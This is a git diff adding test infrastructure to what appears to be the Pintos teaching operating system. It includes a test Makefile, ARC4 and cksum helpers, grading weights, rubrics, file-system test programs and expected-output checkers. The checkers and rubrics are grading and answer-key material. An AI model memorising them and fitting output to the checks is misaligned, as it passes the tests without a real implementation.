+ my $array2 = [ $person1, $person3, $person4, $person5 ];
+ Algorithm::Diff::diff( $array1, $array2 );
+
+everything would work out OK (each of the objects would be converted
+into a string like "Person=HASH(0x82425b0)" for comparison).
+
+But if you did this:
+
+ my $array1 = [ $person1, $person2, $person4 ];
+ my $array2 = [ $person1, $person3, $person4->clone(), $person5 ];
+ Algorithm::Diff::diff( $array1, $array2 );
+
+$person4 and $person4->clone() (which have the same name and SSN)
+would be seen as different objects. If you wanted them to be considered
+equivalent, you would have to pass in a key generation function:
+
+ my $array1 = [ $person1, $person2, $person4 ];
+ my $array2 = [ $person1, $person3, $person4->clone(), $person5 ];
+ Algorithm::Diff::diff( $array1, $array2, \&Person::hash );
+
+This would use the 'ssn' field in each Person as a comparison key, and
+so would consider $person4 and $person4->clone() as equal.
+
+You may also pass additional parameters to the key generation function
+if you wish.
+
+=head1 ERROR CHECKING
+
+If you pass these routines a non-reference and they expect a reference,
+they will die with a message.
+
+=head1 AUTHOR
+
+This version released by Tye McQueen (http://perlmonks.org/?node=tye).
+
+=head1 LICENSE
+
+Parts Copyright (c) 2000-2004 Ned Konz. All rights reserved.
+Parts by Tye McQueen.
+
+This program is free software; you can redistribute it and/or modify it
+under the same terms as Perl.
+
+=head1 MAILING LIST
+
+Mark-Jason still maintains a mailing list. To join a low-volume mailing
+list for announcements related to diff and Algorithm::Diff, send an
+empty mail message to mjd-perl-diff-request@plover.com.
+
+=head1 CREDITS
+
+Versions through 0.59 (and much of this documentation) were written by:
+
+Mark-Jason Dominus, mjd-perl-diff@plover.com
+
+This version borrows some documentation and routine names from
+Mark-Jason's, but Diff.pm's code was completely replaced.
+
+This code was adapted from the Smalltalk code of Mario Wolczko
+<mario@wolczko.com>, which is available at
+ftp://st.cs.uiuc.edu/pub/Smalltalk/MANCHESTER/manchester/4.0/diff.st
+
+C<sdiff> and C<traverse_balanced> were written by Mike Schilli
+<m@perlmeister.com>.
+
+The algorithm is that described in
+I<A Fast Algorithm for Computing Longest Common Subsequences>,
+CACM, vol.20, no.5, pp.350-353, May 1977, with a few
+minor improvements to improve the speed.
+
+Much work was done by Ned Konz (perl@bike-nomad.com).
+
+The OO interface and some other changes are by Tye McQueen.
+
+=cut
diff --git a/src/tests/Make.tests b/src/tests/Make.tests
new file mode 100644
index 0000000..6880fdf
--- /dev/null
+++ b/src/tests/Make.tests
@@ -0,0 +1,98 @@
+# -*- makefile -*-
+
+include $(patsubst %,$(SRCDIR)/%/Make.tests,$(TEST_SUBDIRS))
+
+PROGS = $(foreach subdir,$(TEST_SUBDIRS),$($(subdir)_PROGS))
+TESTS = $(foreach subdir,$(TEST_SUBDIRS),$($(subdir)_TESTS))
+EXTRA_GRADES = $(foreach subdir,$(TEST_SUBDIRS),$($(subdir)_EXTRA_GRADES))
+
+ALLPUTS = $(addsuffix .allput,$(TESTS) $(EXTRA_GRADES))
+OUTPUTS = $(addsuffix .output,$(TESTS) $(EXTRA_GRADES))
+ERRORS = $(addsuffix .errors,$(TESTS) $(EXTRA_GRADES))
+RESULTS = $(addsuffix .result,$(TESTS) $(EXTRA_GRADES))
+
+ifdef PROGS
+include ../../Makefile.userprog
+endif
+
+TIMEOUT = 60
+
+clean::
+ rm -f $(OUTPUTS) $(ERRORS) $(RESULTS) $(ALLPUTS)
+
+grade:: results
+ $(SRCDIR)/tests/make-grade $(SRCDIR) $< $(GRADING_FILE) | tee $@
+
+# klaar@ida 2011-01-12: new rule to re-run only failed tests
+# use with care, it will mess with the file dates
+recheck:: os.dsk
+# @echo "Cleaning all tests that failed on last run:";
+ @for d in $(TESTS) $(EXTRA_GRADES); do \
+ if echo PASS | cmp -s $$d.result -; then \
+# echo "TOUCH $$d"; \
+ touch $$d.??????; \
+ else \
+# echo "CLEAN $$d"; \
+ rm -f $$d.??????; \
+ fi; \
+ done
+ @$(MAKE) check
+ @touch os.dsk
+ @echo "WARNING: Only failed tests was rerun on new version."
+
+check:: results
+ @cat results
+ @COUNT="`egrep '^(pass|FAIL) ' $< | wc -l | sed 's/[ ]//g;'`"; \
+ FAILURES="`egrep '^FAIL ' $< | wc -l | sed 's/[ ]//g;'`"; \
+ if [ $$FAILURES = 0 ]; then \
+ echo "All $$COUNT tests passed."; \
+ else \
+ echo "$$FAILURES of $$COUNT tests failed."; \
+ exit 1; \
+ fi
+
+results: $(RESULTS)
+ @for d in $(TESTS) $(EXTRA_GRADES); do \
+ if echo PASS | cmp -s $$d.result -; then \
+ echo "pass $$d"; \
+ else \
+ echo "FAIL $$d"; \
+ fi; \
+ done > $@
+
+outputs:: $(OUTPUTS)
+
+$(foreach prog,$(PROGS),$(eval $(prog).output: $(prog)))
+$(foreach test,$(TESTS),$(eval $(test).output: $($(test)_PUTFILES)))
+$(foreach test,$(TESTS),$(eval $(test).output: TEST = $(test)))
+
+# Prevent an environment variable VERBOSE from surprising us.
+VERBOSE =
+
+TESTCMD = pintos -v -k -T $(TIMEOUT)
+TESTCMD += $(SIMULATOR)
+TESTCMD += $(PINTOSOPTS)
+ifeq ($(filter userprog, $(KERNEL_SUBDIRS)), userprog)
+TESTCMD += --fs-disk=$(FSDISK)
+TESTCMD += $(foreach file,$(PUTFILES),-p $(file) -a $(notdir $(file)))
+endif
+ifeq ($(filter vm, $(KERNEL_SUBDIRS)), vm)
+TESTCMD += --swap-disk=4
+endif
+TESTCMD += -- -q
+TESTCMD += $(KERNELFLAGS)
+ifeq ($(filter userprog, $(KERNEL_SUBDIRS)), userprog)
+TESTCMD += -f
+endif
+TESTCMD += $(if $($(TEST)_ARGS),run '$(*F) $($(TEST)_ARGS)',run $(*F))
+TESTCMD += < /dev/null
+TESTCMD += 2> $(TEST).errors $(if $(VERBOSE),|tee,>) $(TEST).allput
+
+# klaar@ida 2011-01-12: added "allput" to be able to strip debug
+# messages before checking
+%.output: os.dsk
+ $(TESTCMD)
+ @grep -v '^# .*$$' $(TEST).allput > $(TEST).output
+
+%.result: %.ck %.output
+ perl -I$(SRCDIR) $< $* $@
diff --git a/src/tests/arc4.c b/src/tests/arc4.c
new file mode 100644
index 0000000..b033cc6
--- /dev/null
+++ b/src/tests/arc4.c
@@ -0,0 +1,53 @@
+#include <stdint.h>
+#include "tests/arc4.h"
+
+/* Swap bytes. */
+static inline void
+swap_byte (uint8_t *a, uint8_t *b)
+{
+ uint8_t t = *a;
+ *a = *b;
+ *b = t;
+}
+
+void
+arc4_init (struct arc4 *arc4, const void *key_, size_t size)
+{
+ const uint8_t *key = key_;
+ size_t key_idx;
+ uint8_t *s;
+ int i, j;
+
+ s = arc4->s;
+ arc4->i = arc4->j = 0;
+ for (i = 0; i < 256; i++)
+ s[i] = i;
+ for (key_idx = 0, i = j = 0; i < 256; i++)
+ {
+ j = (j + s[i] + key[key_idx]) & 255;
+ swap_byte (s + i, s + j);
+ if (++key_idx >= size)
+ key_idx = 0;
+ }
+}
+
+void
+arc4_crypt (struct arc4 *arc4, void *buf_, size_t size)
+{
+ uint8_t *buf = buf_;
+ uint8_t *s;
+ uint8_t i, j;
+
+ s = arc4->s;
+ i = arc4->i;
+ j = arc4->j;
+ while (size-- > 0)
+ {
+ i += 1;
+ j += s[i];
+ swap_byte (s + i, s + j);
+ *buf++ ^= s[(s[i] + s[j]) & 255];
+ }
+ arc4->i = i;
+ arc4->j = j;
+}
diff --git a/src/tests/arc4.h b/src/tests/arc4.h
new file mode 100644
index 0000000..61c533a
--- /dev/null
+++ b/src/tests/arc4.h
@@ -0,0 +1,17 @@
+#ifndef TESTS_ARC4_H
+#define TESTS_ARC4_H
+
+#include <stddef.h>
+#include <stdint.h>
+
+/* Alleged RC4 algorithm encryption state. */
+struct arc4
+ {
+ uint8_t s[256];
+ uint8_t i, j;
+ };
+
+void arc4_init (struct arc4 *, const void *, size_t);
+void arc4_crypt (struct arc4 *, void *, size_t);
+
+#endif /* tests/arc4.h */
diff --git a/src/tests/arc4.pm b/src/tests/arc4.pm
new file mode 100644
index 0000000..df19216
--- /dev/null
+++ b/src/tests/arc4.pm
@@ -0,0 +1,29 @@
+use strict;
+use warnings;
+
+sub arc4_init {
+ my ($key) = @_;
+ my (@s) = 0...255;
+ my ($j) = 0;
+ for my $i (0...255) {
+ $j = ($j + $s[$i] + ord (substr ($key, $i % length ($key), 1))) & 0xff;
+ @s[$i, $j] = @s[$j, $i];
+ }
+ return (0, 0, @s);
+}
+
+sub arc4_crypt {
+ my ($arc4, $buf) = @_;
+ my ($i, $j, @s) = @$arc4;
+ my ($out) = "";
+ for my $c (split (//, $buf)) {
+ $i = ($i + 1) & 0xff;
+ $j = ($j + $s[$i]) & 0xff;
+ @s[$i, $j] = @s[$j, $i];
+ $out .= chr (ord ($c) ^ $s[($s[$i] + $s[$j]) & 0xff]);
+ }
+ @$arc4 = ($i, $j, @s);
+ return $out;
+}
+
+1;
diff --git a/src/tests/cksum.c b/src/tests/cksum.c
new file mode 100644
index 0000000..92a2995
--- /dev/null
+++ b/src/tests/cksum.c
@@ -0,0 +1,92 @@
+/* crctab[] and cksum() are from the `cksum' entry in SUSv3. */
+
+#include <stdint.h>
+#include "tests/cksum.h"
+
+static unsigned long crctab[] = {
+ 0x00000000,
+ 0x04c11db7, 0x09823b6e, 0x0d4326d9, 0x130476dc, 0x17c56b6b,
+ 0x1a864db2, 0x1e475005, 0x2608edb8, 0x22c9f00f, 0x2f8ad6d6,
+ 0x2b4bcb61, 0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
+ 0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9, 0x5f15adac,
+ 0x5bd4b01b, 0x569796c2, 0x52568b75, 0x6a1936c8, 0x6ed82b7f,
+ 0x639b0da6, 0x675a1011, 0x791d4014, 0x7ddc5da3, 0x709f7b7a,
+ 0x745e66cd, 0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
+ 0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5, 0xbe2b5b58,
+ 0xbaea46ef, 0xb7a96036, 0xb3687d81, 0xad2f2d84, 0xa9ee3033,
+ 0xa4ad16ea, 0xa06c0b5d, 0xd4326d90, 0xd0f37027, 0xddb056fe,
+ 0xd9714b49, 0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
+ 0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1, 0xe13ef6f4,
+ 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d, 0x34867077, 0x30476dc0,
+ 0x3d044b19, 0x39c556ae, 0x278206ab, 0x23431b1c, 0x2e003dc5,
+ 0x2ac12072, 0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
+ 0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca, 0x7897ab07,
+ 0x7c56b6b0, 0x71159069, 0x75d48dde, 0x6b93dddb, 0x6f52c06c,
+ 0x6211e6b5, 0x66d0fb02, 0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1,
+ 0x53dc6066, 0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
+ 0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e, 0xbfa1b04b,
+ 0xbb60adfc, 0xb6238b25, 0xb2e29692, 0x8aad2b2f, 0x8e6c3698,
+ 0x832f1041, 0x87ee0df6, 0x99a95df3, 0x9d684044, 0x902b669d,
+ 0x94ea7b2a, 0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
+ 0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2, 0xc6bcf05f,
+ 0xc27dede8, 0xcf3ecb31, 0xcbffd686, 0xd5b88683, 0xd1799b34,
+ 0xdc3abded, 0xd8fba05a, 0x690ce0ee, 0x6dcdfd59, 0x608edb80,
+ 0x644fc637, 0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
+ 0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f, 0x5c007b8a,
+ 0x58c1663d, 0x558240e4, 0x51435d53, 0x251d3b9e, 0x21dc2629,
+ 0x2c9f00f0, 0x285e1d47, 0x36194d42, 0x32d850f5, 0x3f9b762c,
+ 0x3b5a6b9b, 0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
+ 0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623, 0xf12f560e,
+ 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7, 0xe22b20d2, 0xe6ea3d65,
+ 0xeba91bbc, 0xef68060b, 0xd727bbb6, 0xd3e6a601, 0xdea580d8,
+ 0xda649d6f, 0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
+ 0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7, 0xae3afba2,
+ 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b, 0x9b3660c6, 0x9ff77d71,
+ 0x92b45ba8, 0x9675461f, 0x8832161a, 0x8cf30bad, 0x81b02d74,
+ 0x857130c3, 0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
+ 0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c, 0x7b827d21,
+ 0x7f436096, 0x7200464f, 0x76c15bf8, 0x68860bfd, 0x6c47164a,
+ 0x61043093, 0x65c52d24, 0x119b4be9, 0x155a565e, 0x18197087,
+ 0x1cd86d30, 0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
+ 0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088, 0x2497d08d,
+ 0x2056cd3a, 0x2d15ebe3, 0x29d4f654, 0xc5a92679, 0xc1683bce,
+ 0xcc2b1d17, 0xc8ea00a0, 0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb,
+ 0xdbee767c, 0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
+ 0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4, 0x89b8fd09,
+ 0x8d79e0be, 0x803ac667, 0x84fbdbd0, 0x9abc8bd5, 0x9e7d9662,
+ 0x933eb0bb, 0x97ffad0c, 0xafb010b1, 0xab710d06, 0xa6322bdf,
+ 0xa2f33668, 0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4
+};
+
+/* This is the algorithm used by the Posix `cksum' utility. */
+unsigned long
+cksum (const void *b_, size_t n)
+{
+ const unsigned char *b = b_;
+ uint32_t s = 0;
+ size_t i;
+ for (i = n; i > 0; --i)
+ {
+ unsigned char c = *b++;
+ s = (s << 8) ^ crctab[(s >> 24) ^ c];
+ }
+ while (n != 0)
+ {
+ unsigned char c = n;
+ n >>= 8;
+ s = (s << 8) ^ crctab[(s >> 24) ^ c];
+ }
+ return ~s;
+}
+
+#ifdef STANDALONE_TEST
+#include <stdio.h>
+int
+main (void)
+{
+ char buf[65536];
+ int n = fread (buf, 1, sizeof buf, stdin);
+ printf ("%lu\n", cksum (buf, n));
+ return 0;
+}
+#endif
diff --git a/src/tests/cksum.h b/src/tests/cksum.h
new file mode 100644
index 0000000..23a1fe9
--- /dev/null
+++ b/src/tests/cksum.h
@@ -0,0 +1,8 @@
+#ifndef TESTS_CKSUM_H
+#define TESTS_CKSUM_H
+
+#include <stddef.h>
+
+unsigned long cksum(const void *, size_t);
+
+#endif /* tests/cksum.h */
diff --git a/src/tests/cksum.pm b/src/tests/cksum.pm
new file mode 100644
index 0000000..73be5f2
--- /dev/null
+++ b/src/tests/cksum.pm
@@ -0,0 +1,87 @@
+# From the `cksum' entry in SUSv3.
+
+use strict;
+use warnings;
+
+my (@crctab) =
+ (0x00000000,
+ 0x04c11db7, 0x09823b6e, 0x0d4326d9, 0x130476dc, 0x17c56b6b,
+ 0x1a864db2, 0x1e475005, 0x2608edb8, 0x22c9f00f, 0x2f8ad6d6,
+ 0x2b4bcb61, 0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
+ 0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9, 0x5f15adac,
+ 0x5bd4b01b, 0x569796c2, 0x52568b75, 0x6a1936c8, 0x6ed82b7f,
+ 0x639b0da6, 0x675a1011, 0x791d4014, 0x7ddc5da3, 0x709f7b7a,
+ 0x745e66cd, 0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
+ 0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5, 0xbe2b5b58,
+ 0xbaea46ef, 0xb7a96036, 0xb3687d81, 0xad2f2d84, 0xa9ee3033,
+ 0xa4ad16ea, 0xa06c0b5d, 0xd4326d90, 0xd0f37027, 0xddb056fe,
+ 0xd9714b49, 0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
+ 0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1, 0xe13ef6f4,
+ 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d, 0x34867077, 0x30476dc0,
+ 0x3d044b19, 0x39c556ae, 0x278206ab, 0x23431b1c, 0x2e003dc5,
+ 0x2ac12072, 0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
+ 0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca, 0x7897ab07,
+ 0x7c56b6b0, 0x71159069, 0x75d48dde, 0x6b93dddb, 0x6f52c06c,
+ 0x6211e6b5, 0x66d0fb02, 0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1,
+ 0x53dc6066, 0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
+ 0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e, 0xbfa1b04b,
+ 0xbb60adfc, 0xb6238b25, 0xb2e29692, 0x8aad2b2f, 0x8e6c3698,
+ 0x832f1041, 0x87ee0df6, 0x99a95df3, 0x9d684044, 0x902b669d,
+ 0x94ea7b2a, 0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
+ 0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2, 0xc6bcf05f,
+ 0xc27dede8, 0xcf3ecb31, 0xcbffd686, 0xd5b88683, 0xd1799b34,
+ 0xdc3abded, 0xd8fba05a, 0x690ce0ee, 0x6dcdfd59, 0x608edb80,
+ 0x644fc637, 0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
+ 0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f, 0x5c007b8a,
+ 0x58c1663d, 0x558240e4, 0x51435d53, 0x251d3b9e, 0x21dc2629,
+ 0x2c9f00f0, 0x285e1d47, 0x36194d42, 0x32d850f5, 0x3f9b762c,
+ 0x3b5a6b9b, 0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
+ 0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623, 0xf12f560e,
+ 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7, 0xe22b20d2, 0xe6ea3d65,
+ 0xeba91bbc, 0xef68060b, 0xd727bbb6, 0xd3e6a601, 0xdea580d8,
+ 0xda649d6f, 0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
+ 0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7, 0xae3afba2,
+ 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b, 0x9b3660c6, 0x9ff77d71,
+ 0x92b45ba8, 0x9675461f, 0x8832161a, 0x8cf30bad, 0x81b02d74,
+ 0x857130c3, 0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
+ 0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c, 0x7b827d21,
+ 0x7f436096, 0x7200464f, 0x76c15bf8, 0x68860bfd, 0x6c47164a,
+ 0x61043093, 0x65c52d24, 0x119b4be9, 0x155a565e, 0x18197087,
+ 0x1cd86d30, 0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
+ 0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088, 0x2497d08d,
+ 0x2056cd3a, 0x2d15ebe3, 0x29d4f654, 0xc5a92679, 0xc1683bce,
+ 0xcc2b1d17, 0xc8ea00a0, 0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb,
+ 0xdbee767c, 0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
+ 0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4, 0x89b8fd09,
+ 0x8d79e0be, 0x803ac667, 0x84fbdbd0, 0x9abc8bd5, 0x9e7d9662,
+ 0x933eb0bb, 0x97ffad0c, 0xafb010b1, 0xab710d06, 0xa6322bdf,
+ 0xa2f33668, 0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4);
+
+sub cksum {
+ my ($b) = @_;
+ my ($n) = length ($b);
+ my ($s) = 0;
+ for my $i (0...$n - 1) {
+ my ($c) = ord (substr ($b, $i, 1));
+ $s = ($s << 8) ^ $crctab[($s >> 24) ^ $c];
+ $s &= 0xffff_ffff;
+ }
+ while ($n != 0) {
+ my ($c) = $n & 0xff;
+ $n >>= 8;
+ $s = ($s << 8) ^ $crctab[($s >> 24) ^ $c];
+ $s &= 0xffff_ffff;
+ }
+ return ~$s & 0xffff_ffff;
+}
+
+sub cksum_file {
+ my ($file) = @_;
+ open (FILE, '<', $file) or die "$file: open: $!\n";
+ my ($data);
+ sysread (FILE, $data, -s FILE) == -s FILE or die "$file: read: $!\n";
+ close (FILE);
+ return cksum ($data);
+}
+
+1;
diff --git a/src/tests/filesys/Grading.no-vm b/src/tests/filesys/Grading.no-vm
new file mode 100644
index 0000000..ee98fc1
--- /dev/null
+++ b/src/tests/filesys/Grading.no-vm
@@ -0,0 +1,18 @@
+# Percentage of the testing point total designated for each set of
+# tests.
+
+# This project is primarily about implementing the file system, but
+# all the previous functionality should work too. It's not too easy
+# to screw it up, thus the emphasis.
+
+# 65% for extended file system features.
+30% tests/filesys/extended/Rubric.functionality
+15% tests/filesys/extended/Rubric.robustness
+20% tests/filesys/extended/Rubric.persistence
+
+# 20% to not break the provided file system features.
+20% tests/filesys/base/Rubric
+
+# 15% for the rest.
+10% tests/userprog/Rubric.functionality
+5% tests/userprog/Rubric.robustness
diff --git a/src/tests/filesys/Grading.with-vm b/src/tests/filesys/Grading.with-vm
new file mode 100644
index 0000000..e7c041e
--- /dev/null
+++ b/src/tests/filesys/Grading.with-vm
@@ -0,0 +1,22 @@
+# Percentage of the testing point total designated for each set of
+# tests.
+
+# This project is primarily about implementing the file system, but
+# all the previous functionality should work too. It's not too easy
+# to screw it up, thus the emphasis.
+
+# 65% for extended file system features.
+30% tests/filesys/extended/Rubric.functionality
+15% tests/filesys/extended/Rubric.robustness
+20% tests/filesys/extended/Rubric.persistence
+
+# 20% to not break the provided file system features.
+20% tests/filesys/base/Rubric
+
+# 15% for the rest.
+10% tests/userprog/Rubric.functionality
+5% tests/userprog/Rubric.robustness
+
+# Up to 10% bonus for working VM functionality.
+8% tests/vm/Rubric.functionality
+2% tests/vm/Rubric.robustness
diff --git a/src/tests/filesys/base/Make.tests b/src/tests/filesys/base/Make.tests
new file mode 100644
index 0000000..e475222
--- /dev/null
+++ b/src/tests/filesys/base/Make.tests
@@ -0,0 +1,18 @@
+# -*- makefile -*-
+
+tests/filesys/base_TESTS = $(addprefix tests/filesys/base/,lg-create \
+lg-full lg-random lg-seq-block lg-seq-random sm-create sm-full \
+sm-random sm-seq-block sm-seq-random syn-read syn-remove syn-write)
+
+tests/filesys/base_PROGS = $(tests/filesys/base_TESTS) $(addprefix \
+tests/filesys/base/,child-syn-read child-syn-wrt)
+
+$(foreach prog,$(tests/filesys/base_PROGS), \
+ $(eval $(prog)_SRC += $(prog).c tests/lib.c tests/filesys/seq-test.c))
+$(foreach prog,$(tests/filesys/base_TESTS), \
+ $(eval $(prog)_SRC += tests/main.c))
+
+tests/filesys/base/syn-read_PUTFILES = tests/filesys/base/child-syn-read
+tests/filesys/base/syn-write_PUTFILES = tests/filesys/base/child-syn-wrt
+
+tests/filesys/base/syn-read.output: TIMEOUT = 300
diff --git a/src/tests/filesys/base/Rubric b/src/tests/filesys/base/Rubric
new file mode 100644
index 0000000..49a9d15
--- /dev/null
+++ b/src/tests/filesys/base/Rubric
@@ -0,0 +1,19 @@
+Functionality of base file system:
+- Test basic support for small files.
+1 sm-create
+2 sm-full
+2 sm-random
+2 sm-seq-block
+3 sm-seq-random
+
+- Test basic support for large files.
+1 lg-create
+2 lg-full
+2 lg-random
+2 lg-seq-block
+3 lg-seq-random
+
+- Test synchronized multiprogram access to files.
+4 syn-read
+4 syn-write
+2 syn-remove
diff --git a/src/tests/filesys/base/child-syn-read.c b/src/tests/filesys/base/child-syn-read.c
new file mode 100644
index 0000000..77a5e26
--- /dev/null
+++ b/src/tests/filesys/base/child-syn-read.c
@@ -0,0 +1,44 @@
+/* Child process for syn-read test.
+ Reads the contents of a test file a byte at a time, in the
+ hope that this will take long enough that we can get a
+ significant amount of contention in the kernel file system
+ code. */
+
+#include <random.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/filesys/base/syn-read.h"
+
+const char *test_name = "child-syn-read";
+
+static char buf[BUF_SIZE];
+
+int
+main (int argc, const char *argv[])
+{
+ int child_idx;
+ int fd;
+ size_t i;
+
+ quiet = true;
+
+ CHECK (argc == 2, "argc must be 2, actually %d", argc);
+ child_idx = atoi (argv[1]);
+
+ random_init (0);
+ random_bytes (buf, sizeof buf);
+
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ for (i = 0; i < sizeof buf; i++)
+ {
+ char c;
+ CHECK (read (fd, &c, 1) > 0, "read \"%s\"", file_name);
+ compare_bytes (&c, buf + i, 1, i, file_name);
+ }
+ close (fd);
+
+ return child_idx;
+}
+
diff --git a/src/tests/filesys/base/child-syn-wrt.c b/src/tests/filesys/base/child-syn-wrt.c
new file mode 100644
index 0000000..1b52584
--- /dev/null
+++ b/src/tests/filesys/base/child-syn-wrt.c
@@ -0,0 +1,35 @@
+/* Child process for syn-read test.
+ Writes into part of a test file. Other processes will be
+ writing into other parts at the same time. */
+
+#include <random.h>
+#include <stdlib.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/filesys/base/syn-write.h"
+
+char buf[BUF_SIZE];
+
+int
+main (int argc, char *argv[])
+{
+ int child_idx;
+ int fd;
+
+ quiet = true;
+
+ CHECK (argc == 2, "argc must be 2, actually %d", argc);
+ child_idx = atoi (argv[1]);
+
+ random_init (0);
+ random_bytes (buf, sizeof buf);
+
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ seek (fd, CHUNK_SIZE * child_idx);
+ CHECK (write (fd, buf + CHUNK_SIZE * child_idx, CHUNK_SIZE) > 0,
+ "write \"%s\"", file_name);
+ msg ("close \"%s\"", file_name);
+ close (fd);
+
+ return child_idx;
+}
diff --git a/src/tests/filesys/base/full.inc b/src/tests/filesys/base/full.inc
new file mode 100644
index 0000000..38a0396
--- /dev/null
+++ b/src/tests/filesys/base/full.inc
@@ -0,0 +1,20 @@
+/* -*- c -*- */
+
+#include "tests/filesys/seq-test.h"
+#include "tests/main.h"
+
+static char buf[TEST_SIZE];
+
+static size_t
+return_test_size (void)
+{
+ return TEST_SIZE;
+}
+
+void
+test_main (void)
+{
+ seq_test ("quux",
+ buf, sizeof buf, sizeof buf,
+ return_test_size, NULL);
+}
diff --git a/src/tests/filesys/base/lg-create.c b/src/tests/filesys/base/lg-create.c
new file mode 100644
index 0000000..5c45eee
--- /dev/null
+++ b/src/tests/filesys/base/lg-create.c
@@ -0,0 +1,5 @@
+/* Tests that create properly zeros out the contents of a fairly
+ large file. */
+
+#define TEST_SIZE 75678
+#include "tests/filesys/create.inc"
diff --git a/src/tests/filesys/base/lg-create.ck b/src/tests/filesys/base/lg-create.ck
new file mode 100644
index 0000000..86b2c51
--- /dev/null
+++ b/src/tests/filesys/base/lg-create.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(lg-create) begin
+(lg-create) create "blargle"
+(lg-create) open "blargle" for verification
+(lg-create) verified contents of "blargle"
+(lg-create) close "blargle"
+(lg-create) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/lg-full.c b/src/tests/filesys/base/lg-full.c
new file mode 100644
index 0000000..5f7234d
--- /dev/null
+++ b/src/tests/filesys/base/lg-full.c
@@ -0,0 +1,6 @@
+/* Writes out the contents of a fairly large file all at once,
+ and then reads it back to make sure that it was written
+ properly. */
+
+#define TEST_SIZE 75678
+#include "tests/filesys/base/full.inc"
diff --git a/src/tests/filesys/base/lg-full.ck b/src/tests/filesys/base/lg-full.ck
new file mode 100644
index 0000000..ee6c7f9
--- /dev/null
+++ b/src/tests/filesys/base/lg-full.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(lg-full) begin
+(lg-full) create "quux"
+(lg-full) open "quux"
+(lg-full) writing "quux"
+(lg-full) close "quux"
+(lg-full) open "quux" for verification
+(lg-full) verified contents of "quux"
+(lg-full) close "quux"
+(lg-full) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/lg-random.c b/src/tests/filesys/base/lg-random.c
new file mode 100644
index 0000000..b6f8873
--- /dev/null
+++ b/src/tests/filesys/base/lg-random.c
@@ -0,0 +1,7 @@
+/* Writes out the content of a fairly large file in random order,
+ then reads it back in random order to verify that it was
+ written properly. */
